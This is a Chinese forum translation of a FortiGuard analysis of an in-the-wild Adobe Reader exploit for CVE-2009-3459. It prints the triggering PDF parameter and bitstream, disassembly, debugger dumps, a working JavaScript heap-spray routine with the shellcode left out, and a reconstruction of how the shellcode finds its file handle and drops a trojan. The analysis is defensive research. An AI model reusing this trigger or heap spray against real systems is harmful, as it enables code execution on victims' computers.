[翻譯]對PDF _CVE-2009-3459分析文章的翻譯

仙果發表於2009-11-06
翻譯附註:一直在分析關於PDF方面的漏洞,CVE-2009-3459是之前剛爆出來的漏洞,網上有這麼一篇分析文章
自己試著翻譯了一遍,並記錄為以下文章,其中必然有語句不通,翻譯錯誤的地方,還望指正。
在黑防上看到 泉哥 很多篇翻譯的文章,請多多指點。
另附上:PDF格式及doc 格式文件各一份
Smashing Adobe's Heap Memory Management Systems for... Profit
原文地址為:
http://www.fortiguard.com/analysis/pdfanalysis.html
深入分析最新PDF 0day利用
2009. October.17
Research and Analysis: Haifei Li
Editors: Guillaume Lovet, Derek Manky(作者和編輯,不作翻譯)
目錄:
導言
概覽
1.        漏洞
2.        開發
2..1神祕函式
2.2控制執行流程
2.3填充堆
2.4擊潰PDF堆記憶體管理系統
3.記錄嵌入的ShellCode的行為
結論
導言:
正如一份最近的Blog文章中的記錄所指出的那樣,通過比較計算機犯罪形式,安全行業對PDF漏洞的關注程度在持續不斷的提升當中。
最近,一個高危險級別的新PDF 0day漏洞(CVE-2009-3459),在Adobe的Blog中被公佈出來,在網路中正被積極利用。
至截稿時,此漏洞的補丁已經發布,並且我們強烈建議使用它。與此同時,修補此漏洞,安全廠商(AV(防毒軟體),IDS(入侵檢測系統),IPS(入侵防禦系統),等等)必須做出調整來阻止惡意PDF
文件利用此漏洞。
為此,為深入瞭解這個漏洞,本篇文件提供了一篇對網路上截獲的惡意PDF的分析。
概述:
        PDF格式文件大都有標籤,引數和流組成,並且可以包含JavaScript程式碼。這個漏洞是Adobe Reader在處理一個特定引數觸發的一個整數溢位漏洞。
        當前,整數溢位是相當普遍的,但是利用它去執行任意程式碼卻往往是非常困難並且相當有技巧性。成功利用此漏洞的人,採用了一中新穎的策略(儘管並不普遍,它只能在Adobe公司的應用程式上利用)。有5個基本步驟在這個利用中:
        ●一個引數被設定成一個特定的極大值在一個PDF文件中,Adobe Reader在一個操作中使用這個引數,觸發整數溢位。後果:操作的結果值小於程式通過引數值所預期的大小。
●溢位值被用於在堆中分配一段緩衝區,這段緩衝區會因此小於給定的引數值。
●程式沿著正常流程,在PDF文件中,上述被溢位調整的調整的內容會按照Bit-Encoded編碼在PDF文件的一個流中。一旦處理的流大於被分配的小的緩衝區,結果就回在堆記憶體中被覆蓋(堆溢位),
●BitStream(位元流)控制的“調整”被攻擊者給定(在PDF文件中),它精心特定的覆蓋堆記憶體一段極小的部分。
由於可能的“調整”非常有限,最理想的情況是攻擊者使用一個單位元組來改變一個函式的指標(在堆上的一個C語言結構)。這個函式指標最終作為惡意程式碼(控制EIP)的一個傳輸點被呼叫。
當然確保惡意程式碼每次都會執行(不被Crash,等等)無疑是最難的一部分。如何確保在執行流程緊接著函式指標最終被改變後的而已程式碼仍然有效?
●通過填充填充NOP塊,使其執行到ShellCode。這是理想的JavaScript嵌入PDF文件(典型的堆填充方法)。
這些步驟會在1,2節進行分析。
有人會說,當攻擊者獲得程式執行流程後會做什麼僅僅是理論上的。這的確涉及到具體攻擊例項,不同於一般的攻擊利用:攻擊部分程式碼將會在第三節進行分析。
1:漏洞
        觸發初始整數溢位(此利用樣本)在惡意PDF文件的如下位置:
<<
/ParamX 1073741838			//關鍵引數(此處是經過替換的,原引數為Colors)
>>
/Length 299
/Filter /FlateDecode
>>
stream
[stream encoded by flate, original stream is: 00 00 20 00 00 00 10]
[流已經用flate編碼,原流為00 00 20 00 00 00 10]
endstream

ParamX(引數X)就是關鍵引數,且被設定為1073741838(十六進位制為0x4000000E).需要注意的是編碼流是不重要的,因為當溢位觸發時這個執行點就已經被解碼(Decode,即“deflated”)。
原來解碼的流為: 00 00 20 00 00 00 10。
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖1:漏洞的溢位點
如圖1所示,程式在0x009F60A5h指令處(紅色高亮部分)使用引數值0x4000000E(儲存在ECX中),假如每個物件分配一個DWORD(4位元組),這條指令的目的似乎是以位元組的形式計算出需要的記憶體大小,它以關鍵的引數進行計算(意思就是說這個引數最有可能表示有許多物件)。
這就是為什麼引數值會是4的倍數,而且就是在這兒觸發的整數溢位。
圖1中紅字黑底的指令0x009F60E5h是在記憶體中使用溢位值進行分配的例程(同時EDX的值和ECX在0x0090F6D8h都為0):
acro_allocate_routine(0x4000000E * 4 +0 x48)==“acro_allocate_routine(0x80)
注意:我們將會在第三節討論“acro_allocate_routine”。
結果,分配了一個大小為0x80的堆塊;這個值會在0x009F7ED0h函式處進行處理,已經在圖2中高亮標示出:
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖2:堆溢位之前情況
這個函式在下面分析列出,為了更好的理解這些內容(列表中最重要的部分),請注意下面的註釋。
1).lpBuff 是堆塊的指標(長度為0x80).
2).bits_original_stream 為解碼流的位元(Bits)數量.
3).v)counter 是計數器的當前值,從0到bits_original_stream-1
再次,解碼的流為"00 00 20 00 00 00 10",意思是bits_original_stream 為0x38(7*8).
如下:
.text:003A7FB4 loc_3A7FB4:                             ; CODE XREF: sub_3A7ED0+1CDj
.text:003A7FB4                 mov     edx, [esp+3Ch+var_C] ; loop starts
.text:003A7FB8                 mov     eax, [esp+3Ch+arg_0]
.text:003A7FBC
.text:003A7FBC loc_3A7FBC:                             ; CODE XREF: sub_3A7ED0+E2j
.text:003A7FBC                 cmp     eax, ecx 	; if v_counter>bits_original_stream,
.text:003A7FBE                 jge     loc_3A80A3	; break from the loop
.text:003A7FC4                 mov     ebp, [esi+0Ch]	; [esi+0Ch] is 4000000Eh here
.text:003A7FC7                 add     eax, edi		; edi is 0
.text:003A7FC9                 add     eax, edx		; edx is 0
.text:003A7FCB                 cdq
.text:003A7FCC                 idiv    ebp	; v_counter idiv 4000000Eh
.text:003A7FCE                 lea     eax, [ecx+edi]	; edx became v_counter
.text:003A7FD1                 mov     ecx, [esi+10h]
.text:003A7FD4                 cmp     ecx, 3
.text:003A7FD7                 lea     ebx, [esi+edx*4+44h]          ; lpBuff + v_counter*4 + 0x44

...

.text:003A805C loc_3A805C:                             ; CODE XREF: sub_3A7ED0+168j
.text:003A805C                 mov     edx, [ebx]
.text:003A805E                 push    edx
.text:003A805F                 mov     edx, [esp+40h+var_20]
.text:003A8063                 shl     eax, cl
.text:003A8065                 push    edx
.text:003A8066                 mov     edx, [esp+44h+var_28]
.text:003A806A                 shl     ebp, cl
.text:003A806C                 push    ebp
.text:003A806D                 push    eax
.text:003A806E                 mov     eax, [esp+4Ch+arg_0]
.text:003A8072                 add     eax, edi
.text:003A8074                 shl     eax, cl
.text:003A8076                 push    edx
.text:003A8077                 call    sub_9D7850      ; will be analyzed later
.text:003A807C                 add     esp, 14h
.text:003A807F
.text:003A807F loc_3A807F:                             ; CODE XREF: sub_3A7ED0+18Aj
.text:003A807F                 mov     [ebx], eax 	; overwrite the DWORD with the return value
.text:003A8081
.text:003A8081 loc_3A8081:                             ; CODE XREF: sub_3A7ED0+149j
.text:003A8081                                         ; sub_3A7ED0+163j
.text:003A8081                 mov     eax, [esp+3Ch+arg_0]
.text:003A8085                 add     [esp+3Ch+var_18], 2
.text:003A808A                 add     [esp+3Ch+var_1C], 1
.text:003A808F                 mov     ecx, [esp+3Ch+arg_4]
.text:003A8093                 add     eax, 1          ; v_counter++
.text:003A8096                 cmp     eax, [esi+0Ch] ; [ESI+0C]=0x4000000E, so keep looping
.text:003A8099                 mov     [esp+3Ch+arg_0], eax
.text:003A809D                 jl      loc_3A7FB4      ; loop


這段函式做了什麼?虛擬碼的形式能更容易的理解它
for(;;) {
	if( v_counter >  bits_original_stream ) break;
	tmp_counter = v_counter % ParamX;
	lpCurrent = lpBuff + tmp_counter * 4 + 0x44;
	iRetVal = mystery_func( *lpCurrent, variables...);
	*lpCurrent = iRetVal;
	v_counter++;
	if( v_counter >= ParamX ) break;

本質上,函式在略過了緩衝區的每個DWORD(請記住,這個緩衝區以引數X的每個物件都包含一個DWROD),在指令0x003A807Fh處,神祕函式的返回值覆蓋了它(神祕依舊,我們將在第二節分析)。
這是堆溢位觸發的地方,同時也是整個漏洞利用操作的核心。因為是整數溢位,緩衝區實際上非常小於預期值,它(緩衝區,譯者注)應當包含引數X的每個物件的一個DWORD,事實並非如此,當計數器列舉物件時,它超出了緩衝區的結尾。
值得注意的是,因為引數X為一個極大的值,迴圈退出的條件:計數器到達bits_original_stream即v_counter>=ParamX,永遠不會發生。接著我們將會看到原來的位元流會在神祕函式中被使用,某一個物件中。
記憶體的整個長度被改寫為bits_original_stream*4(從0x44的偏移開始):
0x38*4=0xE0
考慮到之前分配的堆塊(圖1)大小隻有0x80,此函式在分配堆之後會覆蓋0xA4(0x44+0xE-40x80)位元組的資料。
通過監視這0xA4位元組的記憶體溢位,實際上只修改了記憶體中的一小部分。這會在圖3中展示
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
很明顯的,在對比圖2(堆溢位之前),我們可以看到只有2處DWORDs因堆溢位被修改(注意:偏移是相對於被分配的堆塊的結尾)。
1).偏移0x0C, 從 0x0121676C 變為 0x0121676D.
2).偏移0x90, 從 0x0124DA40 變為 0x0124DA41.
這2處輕微的改變在這個漏洞利用的邏輯核心中是如何觸發的並且原理是什麼,將在下一節討論。
2:漏洞利用
我們從上所知,記憶體溢位是有那個神祕函式使用特定的解碼流(攻擊者提供)導致的。

2.1:神祕函式
.text:009D7884                 mov     esi, edi        ; edi is v_counter
.text:009D7886                 sar     esi, 3          ; v_counter/8
.text:009D7889                 add     esi, [esp+1Ch+lp_original_stream] ; pass how many bytes
.text:009D788D                 mov     ecx, edi
.text:009D788F                 movzx   edx, byte ptr [esi] ; read next byte
.text:009D7892                 and     ecx, 7      ; pass how many bits in the next byte
.text:009D7895                 mov     eax, 8
.text:009D789A                 sub     eax, ecx
.text:009D789C                 sub     eax, ebp        ; ebp is always 1
.text:009D789E                 mov     cl, al
.text:009D78A0                 shr     edx, cl    	; set the lowest bit as the corresponding bit
.text:009D78A2                 and     edx, [esp+1Ch+var_8] ; var_8 is always 1, so corresponding bit is the DWORD value
.text:009D78A6                 cmp     [esp+1Ch+arg_C], 0 ; arg_C is always 0
.text:009D78AC                 jz      short loc_9D78BC ; jump

�

.text:009D78BC loc_9D78BC:                             ; CODE XREF: sub_9D7850+5Cj
.text:009D78BC                 mov     ecx, [esp+1Ch+arg_10]; get the old_DWORD
.text:009D78C0                 add     ecx, edx        ; new_DWORD = old_DWORD + corresponding-bit
.text:009D78C2                 mov     edx, ecx
.text:009D78C4
.text:009D78C4 loc_9D78C4:                             ; CODE XREF: sub_9D7850+6Aj
.text:009D78C4                 and     dl, [esp+1Ch+var_9]
.text:009D78C8                 add     edi, [esp+1Ch+arg_8]
.text:009D78CC                 mov     [esp+1Ch+arg_10], ecx 	; save the new_DWORD
�
.text:009D78E5                 mov     eax, [esp+18h+arg_10] 	; return the new_DWORD

簡而言之,函式使用計數器的當前值在解碼流中檢索一個位元(Bit),如前所述,我們認為緩衝區的每個物件在位元流中存在一個相對應的位元,我們稱之為“corresponding_bit”(對應位元,譯者注)。
這個位元會轉換成一個 DWORD並且加上之前的DWORD(表現為一個物件)被處理:
new_DWORD = old_DWORD + corresponding_bit
理所當然的是corresponding_bit 只能是1 或者 0。因此 new_DWORD不能被設定為任意值:要麼不變,要麼以1遞增。這就是攻擊者通過位元流所能控制的所有東西。
現在原來的流為'00 00 20 00 00 00 10',並且流中只有0x12和0x33被設定為1,因此只有2個DWORDs在0x12 和0x33處會遞增。
對應的0x80長度的堆塊的結尾,這些DWORDs在如下偏移:
offset1 = 0x12*4 + 0x44 - 0x80 = 0x0C
offset2 = 0x33*4 + 0x44 - 0x80 = 0x90

這與在第一部分觀察到的內容相匹配,但是這兩個DWORDs是什麼,而且為什麼要遞增呢?

2.2:控制程式執行流程

經過多次試驗後,對記憶體的情況瞭然於胸,這2個DWORDs的其中之一好像是一個指標。這個指標會指向一段不斷變化的記憶體地址的一個C語言結構。
當Adobe Reader 在解析PDF頁面時會使用到這個結構。多數情況下,第二個指標(offset2,0x90)會指向這個結構。下面給出一個例子:
首先,我們檢驗在溢位觸發時偏移0x90處的指標遞增:
Breakpoint 0 hit
eax=02008b1c ebx=00000001 ecx=0012ed54 edx=0438afcb esi=0438af18 edi=0012eea0
eip=009f7868 esp=0012ed3c ebp=0438afcb iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e09:
009f7868 e863060000      call    AcroRd32!AVAcroALM_IsFeatureEnabled+0x64471 (009f7ed0)
0:000> dd esp
0012ed3c  0012ed54 0438af18 02008b1c 00000000
0012ed4c  0210b734 01f2b424 0438afcb 00a8da8e 
0:000> dd 02008b1c+80+90
02008c2c  <b>0124da40</b> 00000544 0017ee98 ffffffff
02008c3c  00000000 00000000 00000000 00000000

Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=00000038 edx=00000000 esi=0438af18 edi=0012eea0
eip=009f786d esp=0012ed3c ebp=0438afcb iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e0e:
009f786d 83c40c          add     esp,0Ch
0:000> dd 02008b1c+80+90
02008c2c  <b>0124da41</b> 00000544 0017ee98 ffffffff
02008c3c  00000000 00000000 00000000 00000000


溢位之前,此結構的指標為0x0124da40,溢位之後,變成了0x0124da41。
接下來的圖片顯示出當溢位發生後結構如何訪問:
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖4:進入ShellCode
首先,結構的地址賦給EAX。接著這個結構的第一個DWORD值被讀取。如果這個值大於0x90,會接著讀取儲存在偏移0x90的值([*+0x90],譯者注)(實際上是這個結構的開始處):偏移處的值作為一個函式的指標讀取並賦給EAX。最終,如果函式指標不為空,就回跳入這個函式執行(Call EAX 譯者注)。
因此,攻擊者真正的目標是改變這個結構偏移0x90處的函式指標的值(注意:結構的指標和堆塊使用同樣的0x90處的偏移,這僅僅是個巧合)。這樣改變了函式的指標就獲得對執行流程的控制。做到如此,攻擊者只能遞增這個結構的指標(通過位元流,不明白檢視之前的幾節),因此通過一個位元組就改變了這個結構的整個值。他不能設定結構的指標為任意值,這個漏洞利用開發是相當取巧的。
這可以從對在正常和攻擊(換言之就是漏洞利用被觸發時)情況下的記憶體狀態進行比較得出。轉儲這個結構在正常狀態下的結果為:
0:000> dd 0124da40
0124da40  0000010c 00965450 00968cc0 00aae890
0124da50  01021e10 01024380 01021e40 01024430
0124da60  009671c0 010243e0 00971670 01022e80
0124da70  00a468c0 00970d10 0096f060 00964e80
0124da80  0096f7d0 0096fe30 00961ca0 0095c060
0124da90  010228e0 00000000 00000000 00000000
0124daa0  00000000 00000000 00000000 00000000
0124dab0  00000000 00960420 00000000 00000000
0124dac0  0099f2e0 00970750 009712d0 00971420
0124dad0  00000000 00a03950 00a1ced0 01022c10
0124dae0  01022cc0 01022d40 00000000 00000000

正常情況:儘管0x1c大於0x90,因函式在偏移0x90(0x012dad0)處的指標為0,什麼都不會發生。
但是在攻擊狀態下,溢位發生後(請注意當位元組改變時結尾處的變化):
0:000> dd 0124da41
0124da41  50000001 c0009654 9000968c 1000aae8
0124da51  8001021e 40010243 3001021e c0010244
0124da61  e0009671 70010243 80009716 c001022e
0124da71  1000a468 6000970d 800096f0 d000964e
0124da81  300096f7 a00096fe 6000961c e00095c0
0124da91  00010228 00000000 00000000 00000000
0124daa1  00000000 00000000 00000000 00000000
0124dab1  20000000 00009604 00000000 e0000000
0124dac1  500099f2 d0009707 20009712 00009714
0124dad1  50000000 d000a039 1000a1ce c001022c
0124dae1  4001022c 0001022d 00000000 00000000

因為0x50000001大於0x90,並且0x50000000不為0,程式流程會被轉換到0x5000000。
應當指出。有時指標1(偏移0x0c相對於0x80長度堆塊的結尾)會指向這個結構,這就是為什麼攻擊者很容易的遞增指標。
攻擊者不能改變任意其他的DWORDs值,因為改變這兩個的最低限度是使漏洞利用得以執行。改變任意其他DWORDs很有可能導致應用程式在控制EIP之前就掛掉。

2.3堆噴射(翻譯為堆噴射更為專業些,不記得在哪看到的了,譯者注)

如上所述,攻擊者並不能精確的控制函式指標最終跳往的地點,他只能使它指向0x50000000這個地址,幸運的是,這裡通常屬於堆,因此使用ShellCode填充堆有助於確保惡意程式碼最終從0x50000000處開始執行。
這裡是用經典的JavaScript堆填充程式碼實現的。(圖5)(這裡以文字給出,譯者注)
function urpl(sc){
var keyu= "%u";
var re = /XX/g;
sc = sc.replace(re,keyu);
return sc;
}
function xxsc(sc){
var sprdataxx = "XX9090XX9090";
var esprpl=unescape;
var urpled = esprpl(urpl(sc));
var blknum = 0x41000;
var sprdata = esprpl(urpl(sprdataxx));

while(sprdata.length<blknum)
    sprdata+=sprdata;
sprblk=sprdata.substring(0,sprdata.length);
scblk=urpled.substring(0,urpled.length);
memory=new Array();
for(x=0;x<1700;x++)
    memory[x]=sprblk+scblk;
}
var s = "XXec81XX(此處為ShellCode)
var a=app.viewerVersion;
if (a >= 9) xxsc(s);
else while(1){};

圖5:用作填充實體記憶體的解碼過的JavaScript。

2.4:擊潰Adobe的堆記憶體管理系統

為什麼使用0x80作為分配的的偽造堆塊長度?換句話說,為什麼選擇0x4000000E作為引數X的值?
一般來說,在Windows 系列系統中堆記憶體的分配最終會呼叫系統級API RtlAllocateHeap來申請分配堆塊。在這樣一個情況下,對應用程式來說記憶體塊的返回值是不確定的。
但是,Adobe Reader 有著自身的堆管理例程,如果堆塊的長度小於或者等於0x80個位元組,請求就不會提交到系統級的堆管理例程,與之對應的,Adobe Reader自身的記憶體管理例程會尋找一個適當的迴圈通過比較被請求的分配大小。
接下來就是在“Acrod32.dll”中函式acro_allocate_routine的有關程式碼:
.text:003042DC                 push    offset stru_E886F0 ; lpCriticalSection
.text:003042E1                 mov     [esp+1Ch+allocate_len], offset stru_E886F0
.text:003042E9                 call    ds:EnterCriticalSection
.text:003042EF                 cmp     edi, 80h        ; allocate_len>0x80?
.text:003042F5                 mov     [esp+18h+var_4], 0
.text:003042FD                 ja      short loc_30433B ; allocate_len=0x80, no jumping here
.text:003042FF                 movzx   eax, ds:byte_BFD898[edi]
.text:00304306                 mov     ecx, [esi+eax*4+0Ch] 	; get structure pointer which manages all recycled 0x80-length blocks
.text:00304306                                         	
.text:0030430A                 mov     eax, [ecx+4]    	; the first recycled 0x80-length block
.text:0030430D                 test    eax, eax
.text:0030430F                 jz      short loc_30432F
.text:00304311                 mov     esi, eax
.text:00304313                 mov     eax, [eax+4]    	; next block
.text:00304316                 test    eax, eax
.text:00304318                 mov     edx, [esi-4]
.text:0030431B                 mov     [ecx+4], eax    	; take off the first block from the list
.text:0030431E                 jz      short loc_304326 	; how many recycled blocks have been reused
.text:00304320                 mov     dword ptr [eax], 0
.text:00304326
.text:00304326 loc_304326:                             ; CODE XREF: acro_allocate_routine+7Ej
.text:00304326                 add     dword ptr [edx+4], 1 ; how many recycled blocks have been reused
.text:0030432A                 jmp     loc_3043C4      ; exit, return the first block for use

可以觀察到並沒有跳入系統級管理例程去分配一段新的堆塊,相應的,它重新使用被應用程式自己認為已經被“釋放”的堆塊(換句話說,實際上系統並沒有釋放這段記憶體)。
因此,可以相當容易的預測這段重新使用的記憶體內容(或者至少相對穩定)。
並且這表明在Adobe Reader 中存在相當有效的辦法在堆基礎上利用此溢位漏洞。

3:利用程式的動作和嵌入的ShellCode的記錄

JavaScirpt中的ShellCode部分只做了一件事情:在PDF中找到並執行另一段ShellCode。
很明顯的是,ShellCode通過使用API函式GetFileSize對從0開始的每個控制程式碼同目標大小進行比對,以此找到PDF文件的控制程式碼。
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖6:從POC文件中尋找檔案控制程式碼
原來的C程式碼可能讀起來像這樣:
DWORD dwTestHandle=0;

//test all the handles, with step 4.
while (1)
{
	dwFileSize = GetFileSize(dwTestHandle,0);
	if ((dwFileSize != -1) && (dwFileSize>=0x2000))
	{
		break;
	}
	dwTestHandle = dwTestHandle +4;
}
//obtain the self file handlesuccessfully


接著,通過已經獲得的檔案控制程式碼去找到並執行新的已經嵌入在PDF文件中的ShellCode:
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖7:跳轉到POC文件中的另一段ShellCode.

另外需要注意的是,這並不新穎。一年多以前“幻影軍團”曾經使用“查詢並執行ShellCode”的方法在一個惡意的PDF文件中。
新的ShellCode會執行以下動作:
1).從初始PDF文件中生成一個可執行檔案並執行,這實際上是被我們的防毒軟體檢測出來為“W32/Protux.GK!tr”的病毒。
2).從初始PDF文件中生成一個正常的PDF文件,並使用Adobe Reader 開啟並使用同樣正常的文件內容覆蓋當前開啟的惡意PDF文件:以取得完美的偽裝效果。從結果來看,偽裝檔案的名字為:“The question of the charter of pro-democracy moment.pdf”,存放在系統Temp目錄下。
接下來是關於新ShellCode的關鍵點。
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖8:第一步在Temp目錄下生存exe檔案
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖9:第二步執行生成的exe檔案
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖10:第三步生成偽裝的PDF文件
[翻譯]對PDF _CVE-2009-3459分析文章的翻譯
圖11:第四步用Adobe Reader 開啟偽裝的PDF文件

結論:
回頭看這次0day攻擊的整個過程,每一個部分不管是漏洞觸發,開發利用,漏洞背後的邏輯關係,促使改變漏洞還是最後的ShellCode都是相當有技巧性的。
這個漏洞利用程式通過堆噴射的方法也會在將來的Adobe Reader漏洞用到,特別是它自身的創新。
FortiGuard已經發布了FGA-2009-35公告來應對這個問題,這與Adobe的安全公告:APSB09-15相一致。對我的客戶來說高階0day保護已經是可以使用的了從2009-10-9。
當我們的防毒軟體檢測到PDF利用程式為“W32/Protux.GK!exploit”並且生成的可執行檔案為“W32/Protux.GK!tr”時,IPS會以“Adobe.Reader.Decode.Color.Remote.Code”標示出。
我們再次建議 Adobe Reader 和Acrobat儘快升級應用程式到最新版本。
Disclaimer(以下為一些免責宣告及公司簡介,與技術無關,故不作翻譯,譯者注)
Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy
or completeness of the information. More specific information is available on request from Fortinet.
Please note that Fortinet's product information does not
constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing.
About Fortinet ( http://www.fortinet.com/):
Fortinet is the pioneer and leading provider of ASIC-accelerated unified threat management, or UTM, security systems,
which are used by enterprises and service providers to increase their security while reducing total operating costs.
Fortinet solutions were built from the ground up to integrate multiple levels of security protection--including firewall, antivirus,
intrusion prevention, VPN, spyware prevention and anti-spam -- designed to help customers protect against network and content level threats.
Leveraging a custom ASIC and unified interface,
Fortinet solutions offer advanced security functionality that scales from remote office to chassis-based
solutions with integrated management and reporting.
Fortinet solutions have won multiple awards around the world and are the only
security products that are certified in six programs by ICSA Labs: (Firewall, Antivirus, IPSec, SSL, Network IPS, and Anti-Spyware). Fortinet is privately
held and based in Sunnyvale, California.
上傳的附件:

相關文章